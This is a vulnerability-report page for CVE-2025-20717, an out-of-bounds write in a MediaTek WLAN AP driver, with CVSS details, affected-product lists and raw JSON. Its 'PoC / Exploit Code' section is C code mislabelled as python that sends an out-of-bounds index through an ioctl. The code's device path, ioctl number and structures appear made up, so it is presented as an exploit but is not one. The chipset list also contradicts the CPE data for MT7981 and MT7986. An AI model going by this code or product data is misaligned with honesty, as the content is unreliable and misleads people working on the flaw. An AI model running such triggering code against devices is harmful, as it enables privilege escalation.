Security Vulnerability Report
中文
CVE-2025-20717 CVSS 7.8 HIGH

CVE-2025-20717

Published: 2025-10-14 10:15:36
Last Modified: 2025-10-15 18:45:56

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00419946; Issue ID: MSV-3582.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek MT7902
MediaTek MT7920
MediaTek MT7921
MediaTek MT7922
MediaTek MT7925
MediaTek MT7927
MediaTek MT7931
MediaTek MT7933
MediaTek MT7981
MediaTek MT7986
MediaTek MT7988
MediaTek MT7990
MediaTek MT7992
MediaTek MT7996
使用上述芯片组的Android设备(具体受影响的Android版本和OEM设备型号请参考MediaTek 2025年10月安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-20717 - MediaTek WLAN AP Driver OOB Write PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the vulnerability pattern. * The actual exploit requires kernel-level access and specific driver internals. * * Vulnerability: Out of bounds write due to incorrect bounds check * in WLAN AP driver (Patch ID: WCNCR00419946, Issue ID: MSV-3582) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define WLAN_AP_DRIVER_IOCTL 0x1234 #define MAX_BUFFER_SIZE 256 /* Structure mimicking the vulnerable driver's IOCTL interface */ struct wlan_ap_request { unsigned int index; /* Array index - not properly bounds-checked */ unsigned int data_len; /* Length of data to write */ char data[]; /* Flexible array member for payload */ }; /* Conceptual trigger for OOB write vulnerability */ int trigger_oob_write(int fd, unsigned int malicious_index, const char *payload, size_t len) { struct wlan_ap_request *req; size_t req_size = sizeof(struct wlan_ap_request) + len; req = malloc(req_size); if (!req) { perror("malloc failed"); return -1; } /* Set the out-of-bounds index - this is the key vulnerability trigger */ req->index = malicious_index; /* No bounds check in vulnerable driver */ req->data_len = len; memcpy(req->data, payload, len); /* Send the malicious request to the WLAN AP driver */ if (ioctl(fd, WLAN_AP_DRIVER_IOCTL, req) < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); free(req); return -1; } free(req); return 0; } int main(int argc, char *argv[]) { int fd; printf("[+] CVE-2025-20717 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] WARNING: For educational/research purposes only\n\n"); /* Open the WLAN AP driver device */ fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP driver device"); printf("[*] This PoC requires access to the vulnerable driver on a target device\n"); return 1; } /* * Craft payload with an out-of-bounds index. * The malicious index causes the driver to write beyond the * allocated buffer, potentially overwriting adjacent kernel structures. */ char payload[] = "AAAA"; /* Placeholder for exploit payload */ /* Use an index beyond the valid range to trigger OOB write */ unsigned int oob_index = 0xFFFF; /* Out-of-bounds index */ printf("[*] Triggering OOB write with index: 0x%x\n", oob_index); if (trigger_oob_write(fd, oob_index, payload, sizeof(payload)) == 0) { printf("[+] Exploit triggered successfully\n"); } else { printf("[-] Exploit failed\n"); } close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20717", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.373", "lastModified": "2025-10-15T18:45:55.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00419946; Issue ID: MSV-3582."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}